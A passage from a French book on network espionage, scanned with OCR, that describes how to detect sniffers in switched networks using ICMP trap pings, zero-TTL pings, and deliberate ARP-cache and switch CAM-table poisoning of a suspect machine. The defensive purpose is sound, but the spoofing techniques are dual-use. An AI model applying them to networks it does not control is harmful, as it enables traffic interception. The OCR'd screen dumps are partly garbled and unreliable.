ordinateur qui se connecte & un réseau d’obtenir dynamiquement (c’est-a-dire sans intervention
particuliére) sa configuration (principalement, sa configuration réseau).
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7.6. Détection des sniffers

Pour réaliser un sniffing dans un réseau commuté, I’agresseur se positionne entre
deux machines qui communiquent. Il dévie le trafic vers sa machine puis le
retransmet vers sa vraie destination. La redirection du trafic se fait grace a I’attaque
de la corruption des caches ARP des machines victimes. La retransmission du trafic
se fait par I’activation du routage IP dans la machine de I’agresseur.

C’est donc la détection d’une retransmissionl® qui, en pratique, révele
I’opération de corruption. En effet, si I’on détecte sur une machine A un routage IP
activé, on procéde alors a la vérification d’une éventuelle corruption des caches
ARP des autres machines. Au cas ou la vérification serait positive, on conclut a la
présence d’un sniffer en activité sur A.

Dans ce qui suit, nous décrivons tout d’abord deux méthodes de détection du
routage IP activé, a savoir :

— le ping ICMP piége ;
— le ping ICMP avec TTL nul.

Ensuite, nous passerons a deux autres méthodes de détection de la corruption du
cache ARP, & savoir :

— la corruption du cache ARP de la machine sniffeuse ;
— la corruption de la table CAM du switch.

7.6.1. La détection du routage IP activé

7.6.1.1. Le ping ICMP piege

Cette méthode a pour objectif de détecter les machines dont le routage IP est
actif. En général, un pirate active le routage IP sur sa machine pour réaliser un
détournement de session et sniffer le trafic dans un réseau commuté.

Il est important de rappeler que le sniffing du trafic dans un réseau commuté est
réalisé grace a la corruption des caches ARP des machines cibles et I’activation du
routage IP dans la machine du pirate afin de router de nouveau le trafic vers sa
destination initiale. Ainsi, une attaque de DoS est évitée et les sessions, dont le trafic
est detourné, continueront & fonctionner normalement.

10. Le routage IP est actif.
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Si le routage IP est actif dans une machine, I’administrateur réseau doit étre
alerté puisque ceci est un indice probant que la machine est en train de sniffer le
réseau. Dans un réseau, il n’y a aucune raison pour qu’une machine ordinaire d’un
simple utilisateur (en général un PC) active le routage IP. Une telle fonction est en
général réservée pour les routeurs ou autres équipements réseau exigeant le routage
IP pour fonctionner convenablement.

La méthode proposée se déroule en deux phases. On suppose une machine dans
le réseau, appelée machine de test, utilisée pour réaliser les deux phases de la
méthode. Pendant la premiere phase, la machine de test envoie un paquet de ping
ICMP vers elle-méme, appelé paquet ping ICMP piege. En principe, une machine
pingue sur une autre machine. Cependant, dans notre cas de figure, la machine de
test « pingue » sur elle-méme. Dans la deuxieme phase, la machine de test analyse le
trafic recu afin de détecter les machines avec le routage IP actif. Le paquet
ping ICMP piége permettra d’identifier les machines du réseau dont le routage IP
est actif.

Phase 1 : génération de paquets ping ICMP piéges

Un paquet ping ICMP11 est utilisé pour détecter si la machine cible est connectée
au réseau ou non. D’habitude, lorsqu’une machine A veut pinguer sur une machine
B, elle doit envoyer a la machine B un paquet ping ICMP de type requéte écho
(Echo request, type = 8).

Les valeurs des principaux champs du paquet ping ICMP sont les suivantes.

En-téte Ethernet
Adresse MAC de source = Adresse MAC de la machine A
Adresse MAC de destination = | Adresse MAC de la machine B
Type Ethernet = 0x0800 (Message IP)
En-téte IP
Adresse IP de source = Adresse IP de la machine A
Adresse IP de destination = Adresse IP de la machine B
En-téte ICMP
Type = 8 (requéte écho)
Code = 0

Pour la machine A, il n’y aucune raison d’envoyer a elle-méme un paquet ping.
Cependant, si la machine A veut le faire, elle doit alors initialiser les champs
« Adresse MAC de destination » et « Adresse IP de destination » dans I’en-téte

11. Voir chapitre 1.
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Ethernet et I’en-téte IP, respectivement, par les valeurs « Adresse MAC de la
machine A » et « Adresse IP de la machine A ».

Dans cette premiére phase, la machine de test génére un paquet ping ICMP
piége. Le champ « Adresse IP de destination » dans I’en-téte IP du paquet piege est
égal a I’adresse IP de la machine A. Par conséquent, ce paquet permet a la machine
A de pinguer sur elle-méme. Cependant, le champ « Adresse MAC de destination »
dans I’en-téte Ethernet est égal a I’adresse MAC d’une machine B dans le réseau.
Donc, le paquet ping ICMP piege sera envoyé directement a la machine B.

Les valeurs des principaux champs de ce paquet ping ICMP piége sont :

En-téte Ethernet
Adresse MAC de source = Adresse MAC de la machine A
Adresse MAC de destination = Adresse MAC de la machine B
Type Ethernet = 0x0800 (Message IP)
En-téte IP
Adresse IP de source = Adresse IP de la machine A
Adresse IP de destination = Adresse IP de la machine A
En-téte ICMP
Type = 8 (requéte echo)
Code = 0

Le paquet ping ICMP piege est envoyé a chaque machine du réseau. Ceci peut se
faire, juste en initialisant le champ « Adresse MAC de destination » dans I’en-téte
Ethernet par I’adresse MAC de la machine cible dans le réseau. Un générateur de
paquet, tel celui du sniffer CommView, peut étre utilisé pour générer ce type de
paquets. Pour collecter les adresses MAC des machines cibles du réseau, la machine
de test doit utiliser des requétes ARP.

Chaque machine cible du réseau va recevoir le paquet ping ICMP piege destiné a
elle. Ce paquet va étre accepté et envoyé a la couche IP pour traitement. La couche
IP veérifie I’adresse IP de destination dans le paquet recu. Puisque I’adresse IP de
destination dans le paquet est égale a I’adresse IP de la machine de test, la machine
va executer 1’une des deux taches suivantes :

—si le routage IP est désactivé, la machine cible ignore le paquet et ne génére
aucun paquet (figure 7.1) ;

— si le routage IP est activé, la machine cible envoie de suite vers la machine de
test les deux paquets suivants (figure 7.1) :
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- un paquet ICMP de redirection (type = 5, code = 1) destiné a la machine de
test pour I’informer que son paquet recu (le paquet ping ICMP piege) a été redirigé,

- un paquet ping ICMP piege redirigé vers la machine de test. Le paquet a les
mémes en-tétes ICMP et IP que celui du paquet ping ICMP piége recu. Par contre, le
paquet a un en-téte Ethernet différente de celui du paquet ping ICMP piége recu.

Les valeurs des principaux champs du paquet ping ICMP piége redirigé vers la
machine de test sont :

En-téte Ethernet
Adresse MAC de source = Adresse MAC de la machine cible
Adresse MAC de destination = | Adresse MAC de la machine de test
Type Ethernet = 0x0800 (Message IP)
En-téte IP
Adresse IP de source = Adresse IP de la machine de test
Adresse IP de destination = Adresse IP de la machine de test
En-téte ICMP
Type = 8 (requéte echo)
Code = 0

Lorsque le routage IP est actif, il est important de signaler que quelques systémes
(tels que Windows 2003 Server) ne générent que le deuxieme paquet, a savoir un
paquet ping ICMP piege redirigé.

Hachine de test

Paquet Ping ICMP ‘?ﬁaquet Ping ICHMP
piege

pigge

Routage IP des paquets Routage IP
désactivé =1 activé
i) i
=
Machine cibhle Machine cible

Figure 7.1. Génération des paquets ping ICMP piéges
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Exemple

La machine de test a comme adresse IP 172.16.16.20 et comme adresse MAC
00:30:4F:22:66:56. La machine cible a pour adresse IP 172.16.16.2 et pour adresse
MAC 00:02:A5:B6:E3:82. Le générateur de paquet du sniffer CommView est utilisé
pour produire le paquet ping ICMP piége (écran ci-dessous).

30 4F 2Z 66
01 a4 56
oo 138 00 &1
6E EF 70 71
67 68 69

Ethermet IT

- Destination MAC: 00102 A5:BEE3 82
- Source MACH 00:30:4F 122166156

.. Ethertype; 0x0300 (2048) - IP

E& E3 3Z 00
Ox10: 00 3C 1E ZZ 00 00 80
OxZ0: 10 14 02 00 32 EC 0Z
BA EE EC ED
Ox40: 77 &6l 62 63 64 65 66

B6 05 00 45 00 .. ¥4,
10 10 14 AC 10 .=."_
BE &3 &4 &F & ... ZY
7z 73 74 75 76 ghijkl]

L TP varsion: 0304 (4) wabeode

- Header length: 0x05 (5) - 20 bytes
| ] Type of service: 0300 (0)
- Total length: 03003 (50)
I 001E2Z (7714)
- Flags
- Fragrnent offset: 0x0000 (0)
- Time to live: 0530 (128)
- Pratocal: 0301 (1) - [CMP
. Checksurn: 01A4EE (420710 - comect
- Source IF; 172,16,16,20
- Destination IP: 172,16,16.20
i IP Options: Mone
= ICMP
L Type: 0%08 (5) - Echa
- Code: 0200 (0)
- Checksum: 01325 (12892) - comect
.. Identifier: 020200 (512)
| Saquence Murmbar: 0z 1900 (5400)

Z | - )

|

Packet Generator

Packet size;

i?4 e () Continuously

Packets per second: |ID

= ok

— | time(s)

1 af 1 packets sent

Machine de test
IP = 172.16.16.20

\

MAC = 00:30:4F:22:66:56

Paguet Ping ICMP pidge (Type = 8)

MAC = 00:02:85:B6:E3:82

Machine cible
IP = 172.16.16.2

1(@ L

il @"‘
=,

Adresse IP de destination =172.16.16.20
Adresse IP de source =172.16.16.20

Adresse MAC de destination = 00:02:A5:BE:E3:82
= 00:3004F :22:66:56

— @\‘ _ Routage IP désactivé
X =g

Pas de routage
du paguet

Adresse MAC de source

[f @\Lj Routage IP désactivé

B

Figure 7.2. Paquets échangés avec routage IP désactivé dans la machine cible
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228  L’espionnage dans les réseaux TCP/IP

La figure 7.2 montre que lorsque le routage IP est désactivé, la machine
d’adresse IP 172.16.16.2 recoit le paquet ping ICMP piége mais ne le redirige pas.

La figure 7.3, quant a elle, montre que lorsque le routage IP est activé, la
machine d’adresse IP 172.16.16.2 recoit le paquet ping ICMP piege et génere les
deux paquets suivants :

— un paquet ICMP de redirection (type =5 et code = 1) ;
— un paquet ping ICMP piege redirigé (type = 8 et code = 0).

Machine de test Mathine clble
IP = 172.16.16.20 IE=2 Liccdbelo
MAC = 00:30:4F:22:66:56 MAC = 00:02: A5:B6:E3:82
= Paguet Ping ICMP pigge (Type = 8) -
ur- (@@}, Routage IP activé
%,_ Adresse IP de destination=17216.16.20 ; _j’ —
: v pdresse IP de source = 172.16.16.20 7 B
Adresse MAC de destination = 00:02:A5 B6 E3:82
Adresse MAC de source = 00:30:4F 22:66:56
S Paguet ICMP Redirect (Type =5, Code=1)  .==..
- ([Em)' Routage IP activé
%— Adresse P de destination= 172.16.16.20 _j o T o T
! v Adresse IP de source =17216.16.2 =
Adresse MAC de destination = 00:30:4F:22:66:56
Adresse MAC de source = 0002 A5 BEEZSE2
i @.T o Paquet Ping ICMP routé (Type = 8) i fﬁ}’\l?_“ Routage IP activé
—j— ®, Adresse IP de destination = 172.16.16.20 Sral &,
Adresse IP de source =17216.16.20
Adresse MAC de destination = 00:30:4F:22:66:56
Adresse MAC de source = 0002 A5:BEE382

Figure 7.3. Paquets échangés avec routage IP activé dans la machine cible

Les deux écrans ci-dessous de CommView montrent le contenu des deux
paquets, numérotés 2 et 3, générés par la machine d’adresse IP 172.16.16.2 a la suite
de la réception du paquet ping ICMP piége.

Le paquet numéro 2 est un paquet ICMP de redirection (type = 5).

Le paquet numéro 3 est le paquet ping ICMP piége redirigé vers la machine
d’adresse IP 172.16.16.20.
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Log Viewer [PingPiégelPRoutingEnabled_1.ncf]

rotocol: 0:01 (1) - LCMP A0 Mo -~ Protocol | MAC Addresses 1P Addresses Parts
hecksumi 01003 (RIS Fomect i IICMP  PlanetTech:z2 172.16.16.20 => 172.16.1... M@
Source IF; 172,16.16.2 TR TR S
L 3 PIICMP  PlanetTech:22:66:56 <=... 172.16.16.20 <= 172.16.1... H[A
1P Sptiensi Mane
= ICMP
L Type: 005 (5] - Rediract 2 ] 2
ade 0301 (1) - Redirect datagrams for the host 0x0000 00 30 4F 22 66 56 00 02-R5 B6 E3 82 08 00 45 00 _00"fV.
hecksum: GESFD (59773) - comrect || ko010 o0 2B 1z 8B 00 00 80 O1-BO 02 AC 10 10 02 AC 10 .2.¢..€
Gateway Intamal Addressil/2 1o 10,20 0x0020 10 14 O5 01 E9 7D AC 10-10 14 45 00 00 3C 1E 22 ....é}-.
:"9'”"' packst 0x0030 00 00 20 01 A4 56 AC 10-10 14 AC 10 10 14 0% 00 .. €. mi-.
El 0x0040 3z SC 02 00 1% 00 - R
P warsion: 0304 (4)
- Header length: 0x05 () - 20 bytes
wpe of service: 00 ()
atal length: 0x003C (B0}
| ID:inIEZZ (FF14)
[l Flags
“... Fragrnent offset: 0x0000 (07
Time to lve: D80 (128)
rotocol: x01 (1) - ICMP
Checksum: 034456 (420700 - comect
Source IR 172.16.16.20
Destination IF'; 172,16.16.20
P Cprions: Mone
o ICMP
L Type: 0x08 [8) - Echo
ade: 0x00 (0
Checksum: 0x325C [12892) - incomrect
Tdentifier: 0x0200 (512)
.. Sequence Mumbart 0x 1900 (5400 —
3|
£ 1l b

. Mo - Protocol | MAC Addresses IP Addresses Ports
B ey Lot 1 PICMP  PlanetTechi22i66:56 =,  172.16,16.20 => 172,16, 1.,  Mfé
v Seuree Ak TRZIASIBGIE S 2 IP/ICMP  Planet Tech: 22:66:56 <

. Ethertype: 0x0300 (2048) - IP

- Direction: In

- Datet 1-avr,-2005

- Tirme: 16:08:01,555358
Dialta: 0,000034

. Frarne sizer 74 bytes

- Frame nuraber: 2

|~
|»

TP wersion: 0x04 (4)
- Header length: 0x05 (5] - 20 bytes
- Type of service: 0x00 (1)
. Total length: 0x003C (R0}
10 021622 (7714)
[ Flags
. Fragrnent offset: 00000 (0)
.. Time to lve: 0:7F (127)
- Protacal: 001 (1) - TGP
- Checksurn: 0xASSE (42326) - comect
- Source [P 172.16.16.20
Destination IP: 172,16.16.20
1P Options: Mone
= IZMP
<. Type: 0:08 (8) - Echo
.. Code: 0200 (0)
- Checksum! 03325 (12892) - comect
. Identifier; 00200 (512)
. Sequence Murnber: Dy 1900 (5400

B
B

|~
|
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Phase 2 : détection des machines avec le routage IP activé

Une machine dont le routage IP est actif est suspecte de réaliser des activités de
sniffing, notamment dans un réseau commuté. Le processus de détection des
machines réalisant probablement des activités de sniffing dans un réseau commuté
revient simplement & détecter les machines dont le routage IP est actif. Ainsi, si une
machine cible redirige le paquet ping ICMP piége vers la machine de test, alors le
routage IP est actif dans cette machine.

Machine de test
Générateur de Sniffing & Processus |4
pagquets de décision

]

La machine exécite
probablement
un Sniffer

Machine cible 1 Machine cible 2
(Rowtage IP désactivg) {Routage IP activé)

Le paquet Ping ICMP piége
est détruit

Figure 7.4. Processus de détection des machines avec le routage IP actif
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Afin de réaliser cette tache, la machine de test exécute un sniffer qui permet de
capturer uniguement les paquets ping ICMP ayant comme adresse IP de destination
I’adresse IP de la machine de test. Toute machine générant ce type de paquet est une
machine dont le routage IP est actif. 1l est important de noter qu’une machine avec le
routage IP actif n’implique pas automatiqguement qu’elle exécute un sniffer. Par
exemple, le routage IP pourrait étre activé pour les raisons suivantes : suite a une
mauvaise configuration des registres systémes, ou une application I’a activé sans
avoir I’intention de sniffer le réseau. Par conséquent, I’objectif de cette phase est
d’alerter I’administrateur réseau des machines dont le routage IP est actif. La figure
7.4 décrit le diagramme relatif au processus de détection des machines avec le
routage IP actif.

7.6.1.2. Le ping ICMP avec TTL nul

Cette méthode a le méme objectif que la méthode précédente, a savoir la
détection des machines avec le routage IP activé.

La méthode proposée consiste en deux phases. On suppose qu’il y a une machine
dans le réseau, appelée machine de test, utilisée pour réaliser les deux phases de la
méthode. Dans la premiére phase, la machine de test envoie un paquet de ping ICMP
avec TTL nul vers une quelconque machine. La principale particularité de ce
paquetl? est que son champ TTL dans I’en-téte IP est égal & 0. Dans la deuxiéme
phase, la machine de test analyse le trafic recu afin de détecter les machines avec le
routage IP activé.

Phase 1 : génération de paquets ping ICMP avec TTL nul

Si une machine regoit un paquet avec un TTL de valeur 0, deux cas se
présentent :

—si le routage IP est désactivé, la machine ignore alors le paquet et ne génére
aucun message d’erreur ;

— le cas échéant, c’est-a-dire si le routage IP est activé, la machine détruit le
paquet puisque son TTL est 0 pendant le transit, et envoie vers la machine de test un
message ICMP d’erreur de type temps dépassé (type = 11 et code = 0). Ce message
d’erreur indique que le paquet d’origine est détruit puisque son TTL est nul pendant
le transit et contient une partie du paquet détruit.

Dans cette premiere phase, la machine de test génere un paquet ping ICMP avec
TTL nul. Le champ « Adresse IP de destination » dans I’en-téte IP du paquet est

12. Dans le paragraphe suivant, nous détaillerons les autres particularités de ce paquet ping
ICMP.
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égal a I’adresse IP d’une machine de préférence inexistante, avec par exemple
I’adresse IP 1.0.0.1. Cependant, le champ « Adresse MAC de destination » dans I’en-
téte Ethernet est égal a I’adresse MAC d’une machine A cible dans le réseau. Donc,
le paquet ping ICMP sera envoyé directement a la machine A cible.

Les valeurs des principaux champs de ce paquet ping ICMP sont :

En-téte Ethernet

Adresse MAC de source = Adresse MAC de la machine de test
Adresse MAC de destination = Adresse MAC de la machine A cible
Type Ethernet = 0x0800 (Message IP)

En-téte IP
Adresse IP de source = Adresse IP de la machine de test

Une adresse IP quelconque

Adresse IP de destination = (par exemple : 1.0.0.1)

TTL (Time-To-Live) = 0

En-téte ICMP
Type = 8 (requéte echo)
Code = 0

Le paquet ping ICMP avec TTL nul est envoyé a chaque machine du réseau.
Ceci peut se faire, juste en initialisant le champ « Adresse MAC de destination »
dans I’en-téte Ethernet par I’adresse MAC de la machine cible dans le réseau. Le
champ TTL doit étre initialisé avec la valeur 0. Un générateur de paquet, tel celui du
sniffer CommView, peut étre utilisé pour générer ces paquets ping ICMP avec TTL
nul. Pour collecter les adresses MAC des machines cibles du réseau, la machine de
test doit utiliser des requétes ARP.

Chaque machine cible du réseau va recevoir le paquet ping ICMP avec TTL nul
destiné a elle. Le paquet va étre accepté et envoyé a la couche IP pour traitement. La
machine va exécuter une des deux taches suivantes :

—si le routage IP est désactivé, la machine cible va détruire le paquet et ne
génere aucun paquet d’erreur (figure 7.5) ;

— si le routage IP est activé, la machine va détruire le paquet puisque son TTL
vaut 0 pendant le transit, et envoie vers la machine de test un message ICMP
d’erreur de type temps dépassé (type = 11 et code = 0). Ce message d’erreur indique
gue le paquet d’origine est détruit puisque son TTL vaut O pendant le transit et
contient une partie du paquet détruit (figure 7.5).
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MHachine de test
=

%aquet Ping ICMP
avec TTL nul

Paquet Ping ICMP
avec TTL nul

Paquet ICMP d’erreu

Routage IP 7 p Routage IP
At de type temps depass active
f |
Machine cible Machine cible

Figure 7.5. Génération des paquets ping ICMP avec TTL nul

Exemple
B Send Packets via Intel(R) PRO/100 ¥M Network Connection I aln.lﬁ
=1 Ethemet IT 0x00: 00 02 AS B&é E3 82 00 30 4F 22 66 56 08 00 45
; Destination MAC: 00:02:A5:B6:E3:82 oxin- on ac 1® 22 on on Ao bE 78 ac 10 10 14 01

Source MAC: 00:30:4F :22:66:56

Ethertype: 010800 (2049 - 1P Adresse destination MAC [l 62 63 &4 &5

= L 72 73 74 75

1P version: 0104 (4) Adresse de la machine cible

- Header length: 0x05 (5) - 20 bytes

| [# Type of service: 000 (1)
i Total length: 0x003C (60)

1ID: M1EZ2 (7714)
| @ Flag

Fragment offset: (x0000 (0)
Time to )
. Protocol: 0x01 (1) - ICMP

Checksum: IDF7A (572100 - comect ! i L
Sovires 1P+ 172.15.15.20% Adresse destination IP = 1.0.0.1
Destination IP: 1.0.0.1

IP Options: Mone
o ICMP
Type: 0002 (8) - Echo
Code: 0x00 ()
- Checksurn: 0x325C (12892) - comect
Identifier: 00200 (512)
Sequence Murnber: 0x1900 (E400)

Packet size: 74 ) Continuously end |

Packets per second: 10 = & = time(s) |
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La machine de test a une adresse IP et une adresse MAC égales a 172.16.16.20 et
00:30:4F:22:66:56, respectivement. La machine cible a une adresse IP et une adresse
MAC égales a 172.16.16.2 et 00:02:A5:B6:E3:82, respectivement. Le générateur de
paquet du sniffer CommView est utilisé pour produire le paquet ping ICMP avec
TTL nul (écran ci-dessus).

La figure 7.6 montre que lorsque le routage IP est désactivé, la machine
d’adresse IP 172.16.16.2 regoit le paquet ping ICMP avec TTL nul et le détruit sans
générer de message d’erreur.

Machine e test Machine cible
IP = 172.16.16.20 IF=172.16.16.2
MAC = 00:30:4F:22:66:56 MAC = 00:02:A5:B6:E3 :B2
7 Paguet Ping ICMP avec un TTL Nul P
i D]}\' . 2 E(@j}\' Routage IP désactivé
.__,.__4;,5 Adresse P de destination = 1.0.0.1 '—_-—-4?’{
= " Adresse IP de source =17216.16.20 el
Adresse MAC de destination = 00:02:A5:B6:E3:82
Adresse MAC de source = 00:30:4F 22:66:56

Le paguet recu
est détruit et
aucun paguet
n'est envoyé ala
Machine de tes]

Figure 7.6. Paquets échangés avec routage IP désactivé dans une machine cible

Machine de test taching citle
IP=172.16.16.20 |_F' = 172..16..16..2 ]
MAC = 00:30:4F:22:66:56 MAC = 00:02:A5:B6:E3:82

- Paquet Ping ICMP avec un TTL Nul
@) (
,-.-.'-‘—%"j Adresse IP de destination = 1.0.0.1 Z
— Adresse IP de source =172.16.16.20 =%

Adresse MAC de destination = 00:02:A5:B6:E3:82

Adresse MAC de source = 00:30:4F:22:66:56

@), Routage IP activé
]

)

\ Pagquet ICMP d’erreur e =11, Code = 0)* -7,
y 1 — v ) 1(@.‘\ Routage IP activé
Adresse IP de destination = 172.16.16.20 .__.%3

Adresse P de source =172.16.16.2 =%
Adresse MAC de destination = 00:304F: 22:66:96
Adresse MAC de source = 00:02:A5:B6:E3:82

L

@
&)

") La maching génére un pacuet ICMP derrewr Type =11, Code =)
puisque e paquet recu aun TTL =0

Figure 7.7. Paquets échangés avec routage IP activé dans la machine cible
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La figure 7.7 montre que lorsque le routage IP est activé, la machine d’adresse IP
172.16.16.2 recoit le paquet ping ICMP avec TTL nul et le détruit mais génere un
paquet ICMP d’erreur de type temps dépassé (type = 11 et code = 0).

L’écran ci-dessous du sniffer Sniffer Pro montre le contenu du paquet ICMP
d’erreur (paquet numéro 2) généré par la machine d’adresse IP 172.16.16.2, suite a
la réception du paquet ping ICMP avec TTL nul (paquet numéro 1).

o]
Capture Display Too ;!gjil
| ii I[“i Ml _J Defaul
ca-lIEI 3|5 @]sa'.ﬁ:]@ﬁl&lalﬂl 2| ¢ 2|
| No. Status | Source Address Dest Address |S|_ln_r!|_§g

1 # M |[172.16.16.20] [[10.0.0.1] -t O
ICMP Echo

() ¥ |[172.16.16.2] [172.16.16.20]

4« I

3 IF: Protocol = 1 (ICHP) 1 . =]
L[_:} IP: Header checksum = B9D4 (correct) La machine cible
;L.;}IP‘ Source address = [172.16.16.2]

L3 IP: Destination address = [172.16.16 EU]T! La machine de test I
O 1P i

: No options

|Egpert. Time-to-live exceeded in transmit
ICHP: Time exceeded (Time to live exceeded in tran
3

IP:
ﬁT(}:MP _____ ICHP header ————— Message ICMP d’erreur de type
0 1cHp Temps dépassé

ICHP: Type = 11 (Time ezceeded) ———"
ICHP: Code = 0 {(Time to live exceeded in transit)
ICHP: Checksum = 9F43 (correct)

J ICHP

.9 ICHP: [Hormal end of "ICHP header”.]

B 1cHP:

@ ICHP: IP header of originating message (description follows)

B 1CHP:

B ICHP: -——— IP Header —————

B 1cHP

B ICHP: Version = 4, header length = 20 bytes

B ICHP: Type of service = 00

B 1cHP: oo, ... = routine

,g ICHP: el s nornal delay

B 1cHP: cae W nornal throughput ﬂ
00000000: 00 30 4f 22 66 56 00 02 a5 bé e3 82 08 00 45 00 .00"fV. .#93). .E fl
00000010: 00 38 08 ba 00 00 80 01 b9 d4 ac 10 10 02 ac 10 8.2 .10~ =
00000020: 10 14 0Ob 00 9f 23 00 00 00 00 45 00 00 3c ef 7e ... J&. .. E. . <&~ |
Bt Decodie A Metrix J\ Host Tabie i Profoccl Dist, J\ Statistcs /.

For Help, press F1 & I bedl {7 [360 Vi

Phase 2 : détection des machines avec le routage IP activé

Le processus de détection des machines réalisant des activités de sniffing dans un
réseau commuté revient simplement a détecter les machines dont le routage IP est
activé. Ainsi, si une machine cible envoie a la machine de test un paquet ICMP
d’erreur de type « temps dépassé » suite a la réception d’un paquet ping ICMP avec
TTL 0, cela signifie que le routage IP est activé dans cette machine.

Afin de réaliser cette tache, la machine de test exécute un sniffer qui permet de
capturer uniquement les paquets ICMP d’erreur de type « temps dépassé » (type = 11
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et code = 0), ayant comme adresse IP de destination I’adresse IP de la machine de
test. Toute machine générant ce type de paquet est une machine dont le routage IP
est activé. L’objectif de cette phase est d’alerter I’administrateur réseau des
machines dont le routage IP est activé.

7.6.2. La détection de la corruption du cache ARP

Dans le paragraphe précédent, nous avons décrit deux techniques permettant la
détection des machines avec le routage IP activé. Dans ce paragraphe, nous
décrirons deux méthodes permettant de détecter les machines ayant réalisé I’attaque
de la corruption du cache ARP. Si une machine avec le routage IP activé a en plus
corrompu auparavant les caches ARP d’autres machines, alors on peut conclure que
cette machine a activé le routage IP dans le but de sniffer le réseau.

7.6.2.1. La corruption du cache ARP de la machine sniffeuse

Cette technique consiste & corrompre le cache ARP d’une machine suspectel3
afin de I’obliger a router vers la machine de test les paquets recus des machines
victimes. Si elle délivre un trafic quelconque, c’est qu’elle fait vraiment du sniffing.

Cache ARP corrompu Cache ARP corrompu Cache ARP
P MAC P MAC P Mac
IPB |Mac_D P A | MAC D IP_A | mac_a
IP_BH MAC_B
Machine A Machine B Machine C
T S oy P
) i) |
=% e g

Switch
o T Cache ARP
":@T : ; P MAC
=T o
Machme £ Machine D et WAE
{Machine de test) (Rowtage IP activé) IP_B MAC_B

Figure 7.8. Les valeurs initiales des entrées des caches ARP des machines du réseau

13. Rappelons qu’une machine est suspectée quand on détecte que son routage IP est activé.

Clique ici pour plus de livres : https://t.me/formations8


https://t.me/formations8
https://t.me/formations8

Clique ici pour plus de livres : https://t.me/formations8

Détection dans les réseaux commutés 237

La figure 7.8 représente les valeurs initiales des entrées des caches ARP des
machines du réseau, avant le processus de la corruption du cache ARP d’une
machine suspecte.

A, B, C, D et E sont les machines du réseau. A et B sont en communication. D a
son routage activé et est en train de sniffer le trafic entre A et B. E est la machine
que I’administrateur utilise comme machine de test.

On procede de la maniére suivante. Lorsqu’on détecte une machine avec son
routage IP activé, on corrompt son cache ARP. Dans notre exemple, a partir de la
machine de test (notée E), on envoie des requétes ARP falsifiées vers la machine D.
De cette fagon, toutes les entrées dans le cache ARP de la machine D auront comme
adresse MAC I’adresse MAC de la machine E (MAC_E). On obtient I’état illustré
figure 7.9.

Cache ARP corrompu Cache ARP corrompu Cache ARP
IP MAC P MAC P MAC
IP. B |MAC_D IF_A MAC_D IP_A MAC_A
IF_B MAC_B
Machine A Machine B Machine C
. T 2=
il L i) ":@']._,1
& & 8

Switch
B T Cache ARP corrompu
" ”.»- 5 3 IP MAC
—_— ‘?BJ
Maching & Machine D i o
{Machine de test) (Routage IP active) IP_B MAC_E
IP_C MAC_E

Figure 7.9. Les valeurs des entrées dans le cache ARP de la machine D aprés I’attaque

Ainsi tout trafic échangé entre les machines A et B passera d’abord par la
machine D, ensuite il sera retransmis vers la machine E. Ainsi, quand la machine A
envoie un paquet a la machine B, ce paquet aura la structure suivante :
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IP source = IP_A

IP destination = IP_B

MAC source = MAC_A
MAC destination = MAC_D

Ce paquet arrive a D, qui va le router immédiatement vers E, puisque son cache
ARP a été corrompu (figure 7.9). Le paquet envoyé a E aura la structure suivante :

IP source = IP_A

IP destination = IP_B

MAC source = MAC_D
MAC destination = MAC_E

En analysant ce paquet, la machine E révele que I’adresse source IP est celle de
la machine A mais son adresse source MAC est celle de D alors qu’elle doit étre
MAC_A. On a donc la preuve que la machine D a corrompu auparavant le cache
ARP de la machine A afin de sniffer son trafic.

7.6.2.2. La corruption de la table CAM du switch

Machine A Machine B Machine C
S ST R T
i) &) @
i _'_'_'=‘.§"_'1 ' ’;\; g ‘="=‘Ea B
Port1 Port2 Port3
Port5 i w -

.[ 2 Switch Port4
n;""]ﬂ' La table CAM T
. %g MAC Port e
Machine E MAC_#A | Paortd -
: = Machine D
{Machingdatast) MAC B | Portz {Routage IP activé)
MAC_C | Port3
MAC_D | Portd
MAC_E | Ports

Figure 7.10. Les valeurs initiales des entrées dans la table CAM
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Cette technigue consiste a corrompre la table CAM (la table de commutation) du
switch qui contient des entrées (adresse MAC/Port) représentant les correspondances
entre les ports auxquels les stations sont connectées et leurs adresses MAC14,

La figure 7.10 représente les valeurs initiales des entrées de la table CAM, avant
le processus de corruption.

On suspecte la machine connectée sur le port 4 qui est la machine D (avec
routage IP activé), de sniffer le trafic échangé entre les machines A et B.

Dans une premiere étape, la machine de test E envoie un paquet destiné a une
machine d’adresse IP inexistante avec pour adresse source MAC I’adresse de D, la
machine suspecte.

Ce qui va obliger le switch a mettre a jour la table CAM. Désormais tout le trafic
destiné a D est routé vers E. Le paquet a, au niveau de I’en-téte Ethernet, la structure
suivante :

MAC source = MAC_D

MAC destination = Adresse fictive

Dans une deuxiéme étape, la machine E envoie un autre paquet destiné encore a
une machine d’adresse IP quelconque avec pour adresse source MAC I’adresse de
B.

Ce qui va obliger de nouveau le switch a mettre a jour la table CAM. Désormais
tout le trafic destiné a B est routé a son tour vers E. Le paquet aura la structure
suivante :

MAC source = MAC_B

MAC destination = Adresse fictive

La figure 7.11 illustre le résultat de la mise a jour de la table CAM apres le
passage des deux paquets.

14. Pour plus d’information, voir chapitre 1.
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Machine A Machine B Machine C
ol . ":_'.'l ’ .r__-’ill ]._
) @) ‘@
=4 =% &4

Port1 Port 2 Port3
Egts Switch Port 4
Id@]___ La table CAM corrompue
: fﬁ-';"ﬁ, MAC Port
Machine E MAC_A | Portd i
1 - Machine D
(Machine de test) MAC_B | Ports {Routage IP activé)
MAC_C | Port3
MAC_D | Porth
MAC_E | Porta

Figure 7.11. Les valeurs des entrées dans la table CAM du switch aprés I’attaque

Ainsi, tout paquet destiné a la machine B ou a la machine D va étre redirigé vers

la machine de test.

Ensuite, la machine E envoie vers la machine A un paquet TCP ayant pour

adresse source IP I’adresse de la machine B (IP_B). La machine A va répondre par
un paquet. Quelle que soit la nature du paquet de réponse généré par la machine A, il
arrivera a la machine de test puisque la table CAM a été corrompue.

Deux types de paquets de réponse sont possibles.

1) Si le cache ARP de la machine A n’est pas corrompu, le paquet de réponse

aura comme adresse destination MAC_B et, au niveau des en-tétes Ethernet et IP, sa
structure sera la suivante :

IP source = IP_A

IP destination = IP_B

MAC source = MAC_A
MAC destination = MAC_B
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2) Si au contraire le cache de A a été corrompu, le paquet généré aura comme
adresse destination MAC_D et, au niveau des en-tétes Ethernet et IP, sa structure
sera la suivante :

IP source = IP_A

IP destination = IP_B

MAC source = MAC_A
MAC destination = MAC_D

Ainsi, Si I’on recoit un paquet qui appartient au second type, on en conclut que la
machine D a corrompu auparavant le cache ARP de la machine A et par conséquent
elle est en train de faire du sniffing.

